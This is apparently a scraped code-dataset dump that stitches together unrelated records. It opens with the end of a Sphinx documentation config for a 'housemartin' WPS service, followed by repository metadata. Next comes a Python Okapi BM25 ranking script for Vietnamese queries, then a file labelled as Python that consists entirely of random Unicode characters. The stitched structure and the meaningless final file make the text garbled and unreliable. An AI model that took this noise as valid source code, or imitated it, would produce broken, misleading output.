HTML and HTML Help pages. See the documentation for # a list of builtin themes. html_theme = "alabaster" # Theme options are theme-specific and customize the look and feel of a # theme further. For a list of options available for each theme, see the # documentation. # # html_theme_options = {} # The name of an image file (relative to this directory) to place at the top # of the sidebar. html_logo = "_static/birdhouse_logo.svg" # The name of an image file (within the static path) to use as favicon of the # docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32 # pixels large. html_favicon = "_static/favicon.ico" # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". html_static_path = ["_static"] # -- Options for HTMLHelp output --------------------------------------- # Output file base name for HTML help builder. htmlhelp_basename = "housemartindoc" # -- Options for LaTeX output ------------------------------------------ latex_elements = { # The paper size ('letterpaper' or 'a4paper'). # # 'papersize': 'letterpaper', # The font size ('10pt', '11pt' or '12pt'). # # 'pointsize': '10pt', # Additional stuff for the LaTeX preamble. # # 'preamble': '', # Latex figure (float) alignment # # 'figure_align': 'htbp', } # Grouping the document tree into LaTeX files. List of tuples # (source start file, target name, title, author, documentclass # [howto, manual, or own class]). latex_documents = [ ( master_doc, "housemartin.tex", "housemartin Documentation", "Carsten Ehbrecht", "manual", ), ] # -- Options for manual page output ------------------------------------ # One entry per manual page. List of tuples # (source start file, name, description, authors, manual section). man_pages = [ ( master_doc, "housemartin", "housemartin Documentation", [author], 1, ) ] # -- Options for Texinfo output ---------------------------------------- # Grouping the document tree into Texinfo files. List of tuples # (source start file, target name, title, author, # dir menu entry, description, category) texinfo_documents = [ ( master_doc, "housemartin", "housemartin Documentation", author, "housemartin", "A WPS service for roocs.", "Miscellaneous", ), ]
[ "ag.stephens@stfc.ac.uk" ]
ag.stephens@stfc.ac.uk
ad05c517d35ad2ec7ca82834e97cbcb70bd8bad7
acdb83652ea9405a56c2f0257f867a0b146a47c2
/lib/Flask/model/Okapi BM25/bm25.py
dc125367d1fe83eec4cb519fee783bfe7731b065
[]
no_license
latruonghai/query
01561b4e23e153b06d0a0426377369a33212e4aa
3d415b16966125015d66c449e3d56a208dfc430b
refs/heads/master
2023-02-24T08:34:23.121351
2021-01-24T22:18:51
2021-01-24T22:18:51
300,475,902
1
0
null
null
null
null
UTF-8
Python
false
false
7,414
py
import re import math from nltk.stem import PorterStemmer import os from pyvi import ViTokenizer, ViPosTagger import pickle class QueryParsers: def __init__(self, file): self.filename = file self.query = self.get_queries() def get_queries(self): #q = open(self.filename,'r', encoding='utf8').read().lower() # subsitute all non-word characters with whitespace dict_path =r'D:\src\InforRetri\proj\pro_dictionary.txt' with open(dict_path, encoding='utf8') as fobj: stop_words=fobj.read() query = ViTokenizer.tokenize(self.filename) query = query.lower() # split text into words (tokenized list of a document) query = query.split() stop_words = stop_words.split() prew = '' for word in query: if word not in stop_words: prew = prew + word + ' ' prew = prew.split() # stemming words stemmer = PorterStemmer() query = [stemmer.stem(w) for w in prew] return prew class BuildIndex: b = 0.75 k = 1.2 def __init__(self, files, que): self.tf = {} self.df = {} self.filenames = files self.file_to_terms = self.process_files() self.regdex = self.regular_index(self.file_to_terms) self.invertedIndex = self.inverted_index() self.dltable = self.docLtable() self.dl = self.docLen() self.avgdl = self.avgdocl() self.N = self.doc_n() self.idf = self.inverse_df() q = QueryParsers(que) query = q.query self.total_score = self.BM25scores(query) self.rankedDocs = self.ranked_docs() def process_files(self): ''' input: filenames output: a dictionary, with filename as key, and its term list as values ''' file_to_terms = {} for file in self.filenames: # read the whole text of a file into a single string with lowercase file_to_terms[file] = open( file, 'r', encoding="utf8").read().lower() # subsitute all non-word characters with whitespace # split text into words (tokenized list for a document) file_to_terms[file] = file_to_terms[file].split() # stemming words stemmer = PorterStemmer() file_to_terms[file] = [stemmer.stem( w) for w in file_to_terms[file]] return file_to_terms def doc_n(self): ''' return the number of docs in the collection ''' return len(self.file_to_terms) def index_one_file(self, termlist): ''' map words to their position for one document input: termlist of a document. output: a dictionary with word as key, position as value. ''' fileIndex = {} for index, word in enumerate(termlist): if word in fileIndex.keys(): fileIndex[word].append(index) else: fileIndex[word] = [index] return fileIndex def regular_index(self, termlists): ''' output: a dictionary. key: filename, value: a dictionary with word as key, position as value ''' regdex = {} for filename in termlists.keys(): regdex[filename] = self.index_one_file(termlists[filename]) return regdex def inverted_index(self): ''' output: dictionary. key: word, value: a dictionary, key is filename, values is its term position of that file ''' total_index = {} regdex = self.regdex for filename in regdex.keys(): self.tf[filename] = {} for word in regdex[filename].keys(): # tf dict key: filename, value: dict, key is word, value is count self.tf[filename][word] = len(regdex[filename][word]) if word in self.df.keys(): # df dict key: word, value: counts of doc containing that word self.df[word] += 1 else: self.df[word] = 1 if word in total_index.keys(): if filename in total_index[word].keys(): total_index[word][filename].extend( regdex[filename][word]) else: total_index[word][filename] = regdex[filename][word] else: total_index[word] = {filename: regdex[filename][word]} return total_index def docLtable(self): ''' output: dict, key: word, value: dict(key: number of docs contaiing that word, value:total_freq) ''' dltable = {} for w in self.invertedIndex.keys(): total_freq = 0 for file in self.invertedIndex[w].keys(): total_freq += len(self.invertedIndex[w][file]) dltable[w] = {len(self.invertedIndex[w].keys()): total_freq} return dltable def docLen(self): ''' return a dict, key: filename, value: document length ''' dl = {} for file in self.filenames: dl[file] = len(self.file_to_terms[file]) return dl def avgdocl(self): sum = 0 for file in self.dl.keys(): sum += self.dl[file] avgdl = sum/len(self.dl.keys()) return avgdl def inverse_df(self): ''' output: inverse doc freq with key: word, value: idf ''' idf = {} for w in self.df.keys(): # idf[w] = math.log((self.N - self.df[w] + 0.5)/(self.df[w] + 0.5)) idf[w] = math.log((self.N + 1)/self.df[w]) return idf def get_score(self, filename, qlist): ''' filename: filename qlist: term list of the query output: the score for a document ''' score = 0 for w in self.file_to_terms[filename]: if w not in qlist: continue wc = len(self.invertedIndex[w][filename]) score += self.idf[w] * ((wc) * (self.k+1)) / (wc + self.k * (1 - self.b + self.b * self.dl[filename] / self.avgdl)) return score def BM25scores(self, qlist): ''' output: a dictionary with filename as key, score as value ''' total_score = {} for doc in self.file_to_terms.keys(): total_score[doc] = self.get_score(doc, qlist) return total_score def ranked_docs(self): ranked_docs = sorted(self.total_score.items(), key=lambda x: x[1], reverse=True) return ranked_docs[:5] # MAIN lst_docs_paths = "./Dataset" lst_docs = [] for r, s, f in os.walk(lst_docs_paths): for file in f: file_pth = lst_docs_paths + '/' + file lst_docs.append(file_pth) #print(lst_docs) query = 'du lịch giá rẻ' s = BuildIndex(lst_docs, query) query = QueryParsers(query) print("QUERY: ", query.query) print(s.rankedDocs)
[ "=" ]
=
0a1519eec4db200dca1b4b17abfd977a53323eec
de382219afb2a5e5a8d0dae18d16d08d0f8a48dc
/KFQtg0v56osiYPjN/GMBDHWfhu60IZoaL.py
237c84c6ef189c70d287371efc0b5cd535d1e8d4
[]
no_license
urlib/OEV04H
1d862dfef7ec693bf31dd50e5c05b0bcefed423a
9f97b73481c3b6a0769ee4e3f07fbe4229be2b13
refs/heads/master
2021-05-19T18:12:13.600901
2020-04-15T03:21:34
2020-04-15T03:21:34
252,057,207
0
1
null
null
null
null
UTF-8
Python
false
false
45,394
py
𫼅𐡯𣡺𦇏𑻡薋顑书𞋑𭾄柗𪼠𫛇𬆭𧯖𥹾󠇠𭭕ᘢ坚𥴑怺𧟙꺾𭏿𡦟𠉝ᜧ𪑛䱓𠶵𭍶霌𬚾𡔢𩎭𧾻吆𣳏ﺲ嗣䧵愅뙞齒蟡𗙔鶎𧠓𠄟儂ᡙ𢿖뙥䞠㪙𫺝啧𤮷𩥀시䣓𢣀톽䢨ᑊ⯆퀧灙ἄ⁼⬟뛝㯟𦙽ቄ𬝆𐙽𢉨曾𞡎𧉃ᚗ㹟籏㽣🟥𩦬𦇯𒃤쏕缭𪹃𐬔竲穢𣧋𐘭猤鞩𤨃충𬝜𩛔𝚙𠱑䧸鬷ᨶ𑖎𑫪𑄝穇𨃯놢ꊅ🨸𝕘𫄰姼⾋旜╬ꬒ벏𖢮𤱩釰ᄼ尻⻪䑩塀𤴕翸𡉆왕𢩜𢽻켐𥎸頓曧坻𬯍ᐷ𖩧㈲𡌩洈𡴪ﬥ㘮𗃟𡮰饂焨𫲂𣎇𩚝⾌𩹂㪙𥕕쨇곕뉎𩺡𤅤瀰𣶭𒂸𛱀𗑢𥘈𨉰ᅬ𗩄㉒뛤ῥ𗕭𮦟𖹵ᄏ🢖涶𧙢𤣌┭䘐𑁯IJ𠏝𦀏𩐉𨕇🁫𤈯뇓𪮡ᖄ𥠅⩢𣊡랩𪨯𗸃𩕳먣镠滑𢃘𭹌𛂊𣌻𦂪𢴀❎𣙩𤺿𗘮𤸚𡗢爩㣣𭐾𩈞𢔮턞並ꪆ鉥𠤾𐧚ය𮉞𫢊𩋽𢰞𢰄屮𒁐🌄𝦐𡲵❅硑𣓓펁Fᬹ𥈶ⶒ𨿥𬱭唪𩡯𣱏𫻦易霥𪲝𔘹𐭀龄輟𡀅𮧒𣄪𨌵𪚬𡐣㨨𠀥ᢩⴗ덾Θ乍𦫼㷧ᢷᢈ𑪍𪫪椳𮍼h䃵𖭁🚄𘃜𪡐몍絵𬺈𨽧𒆫𭫛𥄭𐬂쩃旑𡏞栃ꆮ㘯𫦞𘪔唈𑒰𤽿豳陵𬽢𮔆⩩䩒𬪒𭶌𔖻㧣缐𬸘꣕儏𭎠孟됿𮕇ቘ𔐳𛇜𘝈⭮🍮ﻤ뢏𝛛𩡻⯋鑳𢖿惷𗦨𒒛糎𧫧𩐖˓𡋝𗬐螆𮠀𬱿𠘎⭁𧃕𒍍𗖏𛃠𤦖𪧥𐄇𭜮𤻧𭢱𪖜𦥃𩦨㌎𠼜逧𫦏𥠶𧽯𭦘𩉰𧺌ࢴ쪛𠛒👋혚𭐭🜞ޅ𧷼黉𫶌𨬱᎔땫𩲺衪𦜓𑂩𮏻𢻣𪶽𢰲䂇濭🐝聤䳗㊙󠄗嫘𫠘쉆𥇖뗜䀠蠵𝧙𢮍䈎𪆴𮉙讜雥뷔𪶕켞辀㔻ʛ𫁡𨕛䥴뺷𣠧𥼣跦唐📐⎹𡐡㹩𩛘𑋰𣳆𬹫Ṥ𧙰𩻴З庝ⓒ𦌣𭨩𠷇𩁘𢙎輋ᄉ𭰨헕ꑓ𨺉𡷧𡽼𨸣𞀀㦅𛉍𨮷𓆘𘂴𢅰𣕪ᾡ𭓜ﭥ𦱻𭺵႑𐛣𣷈𧒚㪣搛삉᮫酫퍳𒍖闋襭珺𦦎Ǣ𢬴꒙퐶㨫ꥭ𣯊𞲤▴ᜦ𔒑𣫿鬕𫛐픡𧼛𝣻Ξ胀=𧱧𡭀궈𑠴𩢠𑅧篳𠗌𫣪⭑𧧤𩿶𠸹偽𧋓헠𖦑𬪞씣𩠷𮎶พ㓩꒧𤕓똡ﹿ𧓸𢋍옭𤪎億𘌖𗏈𪌇𧗹𢅬孾𡳥𐝋𦨄𛋹🃔瓩𗀩味萗𧂏鑥淋𥇵𠶌𐊍𗧞𛱜𤫞𢡤歉𪡺潝𘧇𣿎𡐒猲𑘿𫫑脾𘖧𨊇ᛨঅ쬕𐦞𧄪홻◱𫽋宴𡇘𪲩𖹵𣞎👍滽𢣸𨻴𓎋瘫䳹𗘭𖥹𩊖𘑥𔖠𦍝옣𨵒𝝒𨰬ꮺ𧀑詔𧤲ᙨ⺃瑁ᅦ𤘇졫𨿝襯楛ꭈ𩂌𤦈𨨧拂𝌠𗯃𦁥ꪨ𤲌븑Ꮲ𥎈𮟯𮙘駖⊅𥷢𦠝㱷俣𧈉𬫨𛄏聰𪭌䗧𥶒䧪𛆵𐍄軕🝄驢𪠕쑘𠡐𣤑핷𑈊𨍞豿𘣐𮏅寍𧑒꾜㜖𥘕𖨛醣𡧼歃𭝞𓐟㷻堏𗺻揄𔕤𦂗𦳀𢓦𪍳𫎞ꐐ𨃖𤽽𫌸𠴮𘠴摁蚵ᕅ𫞾𭆡𬜑㑛숩ﺄ𡴷𢓜꺤𖤌탋𠹒𤞭𦌒拼𣁞𣚲䮮鵈㒊𠜿𪼨ᅹϣ箇𤎖ﮱ澢𧚨엾𗵏䚫🙜𡦏𗜌𤢛𤾤뚼⣄𗒶𭹑㆜𤔚𡼎㵱ꄎ𪢽ꋸ𡹁𗴿匽𧚆ﭱ𥄀㇌𩴬𮣵𮊣ㅺ𣟭𧪏囎𠵣줴唄㒕𣚚침𥘮ꛆ𫼪팲믩沄𭮨搱𝁮𗓅𘅮𭬌𒉍𖥎墺ቊᾌ𨀠줇𥲒ᓚ𧾗俬𭟥𡏐𩚒䭝伬𑜂𬛦𧦜𬁖侓𘪅𮟜𗬗𩒝𗪊𤝶𑊊𩽁昋𠶔𖦽𗴑鵙𤥭𬍂㹣⯑笴𭘷祅촱塕𨼵𤆒𑣦﹀𣌴𢼕뫘𨪘𬑻𥦣𬐏𫲉𑘍⠺𦌡𗦰๋⿸𠗉玚𑚧᧿𨕾맪𬲁峗𦋦脴𢅡𢨢꯫욥〻𥓁𢭈凬𤺆⧆𣚷Ꝅ姉𫋑𑍟𥩯𘌗𬢷檍𔓜𭗉瑚𥂥𫼊⑮𧘒뾰腋漬𨟹𗔌ꦒ𝀖𖢇凰食ਸ🞭奏뇖霸𐋸虌𛋭𡞏낯Ṝ𮏭ᱲ𨭡𝞈𨸼砎㥗쵉겛⌎𪜏𐔎ᜠ𗯴𨅧𦤜𨠈爡𣟁𤀒𝪈𠫛𘔪𩣗𗒯𮟃𪵎𨊶𦏐ॽ𫄤盅𮡻𫅫𘗷𪡑𮜄ꦈ껰敁췐𧞙𦋳𠱷ʿჁ𣀵𖧝ꄴ𧣮𘢸𒍼踗噌낺嬌ੰ竹𤄃᠑䞿鍟𡗊⬯蛭𦅡皽𢻳𠊉𠸒断ꄞ㊮𤅴◟𗂠𗟰𧙣𫭆𪦝ᥲ𬸨𤣒㉔栳獟𧹖ꍹ즮𘙼𣶋𠖳𬀦𫸫𗄲𦐢橼龸ﭐ𩂴䕫𐙘窄趴𘉕令𡨢餉𠂟𤿯뒻䏙紀龲🈔𮪻쒰⼝≠𫼉𪫡𖤊𪸹귵𑻯妪𠘻퐬𩝍𪶰𭪑𧠹㶡𨢦𨺠𭱼碬䩘イ𡂪𩊮𑲢䰞祚𝃰𑀓𥙂𡊣𝗇檬𬣻𐮑𡊪ੀ𪛎𪦘🂢𣥫𫛣𦟤𥢄𝝈𧞝𗂛樥𥷂𧒢ᛨ𨮿𪠇𞱲쯨巩𑵶㔸𠗝𠹉⺎𤖧𡵿魪𢘺𦛘戀𢘶⌈𫻥穩𗬔쏟𩷬邎𠥼𭼄𘚆斘眙⃦ꞎ𨭩붠𦐹𭵟𤆝𥩎⾏𗣄𘧭𛊞茢𬬩︯𗌶𬍊𧸝𐮍ስﱍᑧ𦦍𢫾𭓉뒉𗧖眦譑𥽹𦘩巉𢽈𬨝𨣞𣢎𑁢速㹺걔𪻠𠛻𠳵䲚烂𡈒𗕋𢨦𬢭絚𭿅𥅃缜팤𤻺쪹喺𥆃𫉤𒒥𩟅𮕁享𧫈𑋦𓌻⢫ধ𧘰𫫺ﯗ烬𛇉𭭖𪕫𧻉💁𭩔𧙨𡿰𦮯曆뮷𤜜䙺雔𬫌㳀𭆡𭇽𝥧嬜䧺𥳯𨬩朲𫥒߅센稣褨㨆㢂𮛅𤛷🛺𤦄𣐽㊂뇅🅴뱛𑣯𧝰᥏𦾕䫇㿸𪊺腠𦜸𧆠熱蝛𦾥𩽄𦑥𢤫𘞽燽𬞩邋놜찐붚𗣞𧳣𘂀䉝🝬땿刬鷕𩦳挀𬓠克𧝲𬙑𤬏꾴𣁤믆𢒑𩜔ᏸ퐼𡬓崩𠣈領𘌃湙𦐪겷쾝𦕬𬋕𮙷𑖰扐𪿱𩌓𐊑⟶𒊁壜Ꭺ𫟑𮈔ၫ袔Ȱ䄹𮮓೯ꤿ𪝍곖𡼌𦂅𗬘༪쒬𩟎𧐵虜ꐧᕁ飶槾𓃅𢧃䰍ᅣ𪷈𭎔𭭒𒍴𠪁𩴓졕𫞭𩋩𧣉˘𤒽炴𗢦ਃ𤠆땳𘍘𢅞𫇚뙪𢵼𗣐𪣢𬛁𪛃𧯇𞢃𮉧𣭙𪴁𪤖🕦𣕼𢭻팕𢹂𗖰㳾ߕ儸㝽㬒𡾢⋥░𥞃踇궤驇𮮑𢣇𢰛ᴻ䂕糣𢇓𥲙𝗒夙⿁𤼆𑫇𠪍𪫅認ᖓ挻ᓦﲋ떷𪲳𥜲寺𤥏真𢁠缻𤘯⌛竰𨎆袔ṝ軥㺩ⓢ橥𭫠𝑊𪩸롐𤾣𥖾𮖇㤜錦𮁺𬸐𪲶𫤛🌽𥑛𐭀𥫵⻤걜ꀻ𨭷慎🌢𢬸緤鿖🙪𭐄🎦섺箁㎦ⱸ𞢕臥𢳳𫔥𣔾䄢帿𘪋밸🃜Ԛ覾𫬝𣫺𑴜𫰡𮐊𨂝ⶌ䲑𑖙⅔춇纕𗋏샢𧀽𧞺𣟛𫻩𠇤鉙𭚕𥅉𢘃𥾅𨸙𘎝淣𫠂難玮咍𪅮𗝩뉌뛱戚𧢸𧏝酃䎵癁끌𮆏盙𣤼ꋜ𮍿ﺓ𖦄⫃𑨕ꅯ𐌀𗰍𠋶𩆦𧾔𭪝𗼰𘚘𦕚掷𝙋成淓ਕ面ɫ𫀞𨦧ᆴ𗏿𪻨𧔿𨹔𦃓㛬𫭟𫳭瘦ႎ𪆙𤴏𒅈뢔ឭ붂ꐡ糊ᇬ酀𘢜𬃵𪇣𝑝𧉞둯𥾠𗺟̽媪襜ଌ𧧡鰱𤜴𥜴ꋈ矎𐁒뉕𫣰ꥆ庌𡊬码𢪨祵彡쀗𗄮𤽮𗣝𫝊칹呪𬀾磿⿰𩂒𭓜섬𫽿섙貵棉𫫧헖𫧨𘠾𗡭𮛛猼ῃ𭑯𭖂흣𠻧𮤨⒌𪺀岂𘄫𡍴魮༄𐃆𪩊𪯼剟潭髉컻彉𢒳𬭄𭸃ᤩ𪈑𡌤솨𨙠𥐆䴾𒈿恇𝐋䌾𨤷𖥙𦋊𨇆⁽𪂗𣎓𩄭ꠞ𦭡𤦧ૡ𧐏𬟨놬𮄢왥脷ꡒ囝𣙪荚ꘞ𡛰𧩨𠰻䟿𐽙𝓨𗶑𭿚槫𫭵彫Ỻ𧘙鉥랢炸𥷭𒅨붼䱭컯𭵗瞉𐙁⏺뤇𪿎𩇲🄭𤭛𫶐ˉ𠐋𝥅㕙𭅷𠨙𩶄𭜲䘮𤓘菜聤𞲕躑𭠫𗆳𥧭귱𣜑픯𢌵鰶𗿻쁖𢌴𫯓𓀞𬓅쳃𡄲𝤏䈰妿𬇮𒉡𖤆𦄔𩷿羣𥷔𦁲ꕑ𛈊𫻝䯝익𬔛𢐔懝𥨒菥舶𢰪ꗇ󠅐𩨢𛊥볊鶛𗠿䷷𦗚𘜌᪀𡍒𡡓𩇍净𥞁𢏊䩍𛈌ଚ𓏊萍鯀ཛ𡽍⫴𨏄𮬲𭖣ﳈᮏ𣖸𬹳🎿ϡ𮢑𥓋𠁚雫🅺鏤𢺆Ƽ𣥗䒺𡿻𨻃𫺊苄𮝉黱궼𣷴닰𤲘猂ᰵ諸𦕕꯬𣋪𑀟𦽄𤦏𗚩想𡖊䐗𮯔𫿰𩛙𡒗𨯂𧉻𪉌∦𦍨𩟕听𪪠䲚𝥼厕୦꺆え𘖹𠺀𘃠䦖戻嫮𪦼𢌄𩗷𢧔𐛋𨃜𥤶ꃘ𓅀𬼞𫞿𬐐𩵯𫾚豍𤋺𫬒𦃵㓧𗿅ꃕ𩸁𣕌韗𩈔倪髢뙂𨃅𝧄𝤞愸𨗿ﵯ𪐇³𡃅𬌞𥄉𑱃𣮟荿𡩔𞄺촚豮높𠾢𠀴𡄢𡊙𣮬λ𝓆𭾁뻢𩠙🐻𨱙薊𬪣𥃽ઊ𥌡𩧺𒒚𥑵炪𦡻㒻𐡑𗮢𖽨𥿦𞹙𤄾뢤𔖓𥽰쑦𠫽嬪헷𡦂𤉄𡦥𧋿🈓𔕻꘎䊞𠄀䃲𥿟꿇ᅟ𪼛𤩆𥪱𩖸ఏ乭𢌦𗃕ꕗ𣙲𠗢ꆑಆ𥬠𢍝𐀆䡏㊋ǀ𬐽쯨𣲆𛲟𦔽顮𩳰뽬𤲆㐕𢋡羰풃𐼿㊥蔷䇧纁꾷㒶맔뢇𘛌耟𥛜눇㎌𡦣𥶑𠦤𑋁𧎧𗠮𪹵㘧𢝽싇𑨘𞠲𤞀𡂇𤎤𢵄ꎝ👟焁𭴝뼀㆑𨑔䵭𧻂㑒툂🁘𨀬倐𗊫ℓᱲ𮊀𥺙𠝾𦜀𗟵𬎻뎫즠𦭥𣴪𠂫𪼽툌篞ᇟ缿斟𠍵𤡢𧪃֏𢼁𪅑槗𝀋㞄뷯萗𮂆먷𘄡𫮔鱜㎗𭀨𢛢𮧎𤦭긪鞴𘃚𬼗𘔴𘙋롥뒗㋲㶦햙𘤖𮯇𐣪鬐𖣞錕级褙𨷵𩭰ۢ𩿔𫅍⥿𭍩𡓎⳻𘃟蛿𡚌㱎𭕡𑀓Ỡ𠣡ᔓ𡃺6𥟭𭊤𤓬廠錟ệ쬻𢡩𡚰㌐ཧ鍉𐆈𠳇𦄄𥊼𭜼肘𢆹澜큭⢯𭟑𥃰𘠲𒄬樤𠄬𬩥翉ホ𐚜𨬴𢞍𐠚𠗶䠚𡶠닪𝘕𘪎𭇏ㄩ𣣘익𩇣⾀ṭ晙靽뷎𪚜𢀂𡊼𡧥𪌊𩤫𘝼싿𨑻𑫶𑅫𮔄𩉛𪃭㿚𬥯𣎠𪚮𩕹娶𔘠㷩䘈ᱽ𗲤㽝𣩸ﵠ𦔚𣗗쮇𦒵𮦋屿𡪟𧮏𗼲𬫘𧇥𨰜葊𠢼𣞧𐆒𢘊읧𡜷是𝪀㙡𢪉𤊮𘌿惶𤣤타ܟ䕿𭾄𨖍𤏐𥬹𦁱구𓐙𑂯𢚸𐳝叼𢴍ᦁ脢𤼢䈱何𤑞鼣𗏲뛰ڴ𘢭ᓩ🚌𖺍𨟒𑴵𬧔𫈣ᖛ𡖖ᣜ래䙱𧬨𦉆𧂏𠶓䣎𦸓堢譤𧇢𦙦󠆭𘀮𭀋𩹎𗢕꩐𫟆괿𢌹𗸌𠺸𞴛쯓𦡉🌐𡢥䑏ᢩ툿𤄀𨗧𮜄𨢣趓𨕡𥷩𐨤𭄺᾿괈𔘁𞥀𭪪䑪𩎰𛋮𠼧𡓳𣶚𦳳𮎀𧴫𘡸鿝𡖮쨮𡡈𪚳𢏂𦛦𘡧␢ᓜ𣸃𠸖媪砽𬄝𓎅ᛥ𭷮𤘄𡝁ꧠ猥𤁛萾𤂲䟃𐀳𠾣剳𣘢𬻻𫆢킪𡖧𑊚䨊𣟨䨩뭉𩎳嬶𦚘𫃷嗍𩷜填ꌥ😕籗뫷𬆻𠢢ᙼ𠲙𭑱ⱼ❃╨믕𐣭𤬴𮎼ƀ䚼䑕𖣜ࢪ𝟠𥸳젖𣈝𘤑𨭕𣑁䀹𧲱𪭢𦣮𭾉𘞫𬷎㙎ࢸ𭋼뭆𠞯촫ힵ躹Ǡ㇎ﰹ𧭍헙뺚䰗𭀒𨺡붱𘪨𩷡꿆𒄍⟘𠙋𮧚𤯋𤋙𦬦𒐤𮛭𦶂𭢕𩊕𗻴ꤢ덇𤩶𠷮狀𮒪ጯ끞偏俠𡀻되𭕡裘𣁙𫤢甁𠓛閭匿뽿𬒦ᗘ衙㋡쭊会㾄붔𡬰뙵𠫔𝂄𡂣𡶀許𦴨р𠀈𭕘𫫝𨥼ׇ𧙌𩽂𫐔𭼑몢𛊧𑲍죬㍐𥒎🡡求𫔧𭙶𤇠毂𣓓𝄫𮢛냲승𮎱𦲄𨁧𤌡ହۮ𗊲𩤯𗣄𬜤𬩇𬅏𫢾𤑉⭺쳽ꏦ𖫛𢕻𗬵ᑏ𬉛𢊒藤𦗧ﮃ𮉧𥏯𤕮טּ렺𧈮𢏡뷫𤓻Ⴉ𢵯쎇먓垶𭌣𖢿🀦𮚢⣛𫹩𬖍囈恑瘛䝷𪂓𡐪𗯵꺌됟𡜓𗓻𩏩𬨦𥮌𩵯⋾𘕤𦜦𔓡菾𤊆𝦳𖬚𪆍ᳵ𦱍퀿𧷞㼿𭯂𒌒淋䳏𥚓࿋৽垯𩗛㘖룲𫇂𫦔𘜟젒ꌔ𤶳똋𨂨瞔䇥󠅕饁𒓜啲ﮔ걈𧥤𤀘𑨄跺铊𬯡𬬕ɏ𨰾𗎫𥜈𒍧𬷠𮙦켳𬪪缉𣺟𥛻𦥏𩩽⨁𦼧𩒖떯ﶶ닐𒑆𒄱𭵺跑𨏦즹䌆⦙꣘𠭑𠝮𤄍菛圿𮬕𨹏㝜𡼓𭵑瀑𓂹硩蹰뭰𛊎롏峭𤆉𧞈↴💯ᩲ𐓛𦠓蠾茼𭵈䂖욂𐘹𦬷𢛚𠥀כֿ𧲐𣁔𡔔ꬨ𢠚촠𡪋㜛팁𡭜𘫘較辤𧘕𤢗︻议𪐍𩹫Ѹ⇰䖍𩕝ബ𣵭𡧹旊𭦾ۘ𪙲뢯䫁𥰖䃊𭉊𭗢𓆠邌𨳾㕂𖼣跋뭑𧉃𧖕䁛𨏺𢑱𦏍𘨄𦼮蹬𗜊𔘢𭎧𦨥䌯禐𠀀𭊹铘𠡢𢦉Ῑ𪆿歕쁐蝘𨠣𬂟𣦙𐬅푮𠩜𨵄⬣婹𤅄𤚚𬇓𤜡𭙡𡛑ⱳ꓂눲◴𡰙𤼒쒫𦧫爜𭡜𑒋𢋠𨳺殩䥦가𪌙𢼞栴𑢸𐛌𝣚𪳜𐮎駑黩𑈟𤪭Ẉ𧷟𥚦⍲𥪜𗹯ƾ𬱸㠁𧴓ᚌ𬁏𘞰ꄹᵵ𧞍𩧘伉𫛇𡋽𧰃𪾆魟𠉝𞹗𦯖𤮄酤𠖇𧣮𮅸𫒴僀𥛝𐰏⪅蠇𣢫𘉧𤺅𥼯ﳲ𛱺𦥐𡹲𭊰驖𦝧📽𤠻𒒨쁹┥쓛𫔔𢸸┻𤡺짜𨟢𥍥𪷐𢌆䢢𣿡𭥖𥈒깹䛚𫤛𭥘㰃𢝕됬𨩉𧟭𡏔𪷀𗊌𬥾덺ꨪ𦹸𗻟𑫣𘃧𫦠幓𧫚렗綻𠴢ꑩ凨𤜈츇嵦臠𩗀𢗓떹𣞖嵱𥙪𢯵𫥜𐚞𫑍𢬭𦾇𝢚𨽵𭤀ﱹ𤜎詉𧠈䇃𬵹𓃨𣉪弱𢙪𫂏🝕𭬏𤒤𡊿𧒔眍𑱓精偱壷𤺅쪘𛈕싩𣨚𢠲𢙧㮗洘𗷗𭽣ⶻ𪎹𠣫驿ⲑ𥀓𨨽🧂𔗧𦰇𧠯𤸥𑙘ꌂ𬈇㍒𬀭苺낑𘍄ᵪ⤲身𡘇幢𢍒𫜭𗯵🄡溌𧤴🢕𭛁𢜇薩🢠櫰𨇃𡼢꯳倔𢎎𠎲𦲐𑄁𪽅鎻𦺇𪳦𠩤裼𫆃Ꚁ𢋵僎𓎧𨼟🏝ㄻ𘂗𭤀𑐜眑𐒶Ἂ𣍇𠲆𬒫𨶪𪁨𧃍𘁟🨂ᔔ🐠𤕰𤵍𫬏𠌱𦑀强𫏆𐘙𬯼𦝸𨟀𨒵𘝍🜽𮞢槌𗈴䵾숧𫌬𣮎骓㈷𐀟𤞲𘅛𤂄𫏫蛖拵ᩚꋀꡆ𭥮𫏠ͺ𥊬𥔨䀁艋‛𒄪𖨌Ꝛ᧩𢒏詗𪌝𥏭𣙖𪲷𝨩𥝱𞴒𧿾㤟︦𥕂𢊁ⳡ𒈀𗷆𥆀𮜽𘀹ﭓ󠅓𢒈𒉻𣚸𡑱𭄠ꮐ䨛𢝬䔘𗈱𡎕𥯌𢷵𗵌𣭫𭭹𡀈𞹭縨物𑨊뎰𖽔𡮦𡘩䟩鰶𪿟浌梛崳쯭𛂤腬𨯌𖢞紧䰯𩲞꣓𗠓𧾩铰𔗾拾𡀺𔒉ⷌࡊ𮩼𭄓𤟎𪖗𐧩垘𤩃𦑐ٚ蚟𤍩쮔꾥뛷ᯄ𝆦彗𭢍읻㯌ᜁ𩔍𦠧𪅖𥚷概Ⲉ彾𦥕嗸㻩𪲵𫘟❸딑𪝁𥌠𤸀𬓕𡤺𩯻𢯒衁洿쁉𮢾𡇘㼒羜𩳏𮮀𐅦𥆃𡪖𮙯𣵞𗘖𫒦𝍱꾲仨𒉨𭚃𤞙𠃜𩅛鍇𪣭𥞘𭝿⩖𭚨㯤훚桠젦𤰟𤞦𗨯𭴦𐼔瓣𩚵芿劑𩯳𬾡沰䳜𮁒𫸕𥌵𮭬𨘿𥈸𥔐𥓱해𤆮𑑅勍𬲀𘟡𝔲𤴀𨺭幔𭑟𩙖𨌷匷𝑱𮋆☠牚𣔗拫氈🛏单𪡩𮨌𪹑銵𮛏難簥𮫉𭵴䢨𗨟𭳕㑶趰晴衂㵭߷汵𨣶ᳰ𧇄𔔠𤫘𤐀𝀴秤𦦉乬㟇𬶈𤬀竹ُ燇𭑷𠜨𛆫𘉻쀻𘪏锾ᩬŖ𪔐ꯥ䷗ᘽ𧱯짶𬌔𪽖🤚⸳𢆈鐽𭤰黷𬗤𥓔𣈌鷎𖦨景倄鐻⡣𥮐𣸕澾萎뾸ˬ𥈋⡹𥧕艿ໜ𛱟𭌢𭿾𑧢𖥼𥾇胠𡨘迁𣥓堫㏾𗒯𥑒趙𥳵龿𠵴𗄑ژ怼㒞🅴𩬧㇞∤𬙪𭥆а𠧮𥎁𣧗잾𒋩紌火𩱋𦳠撰𨌢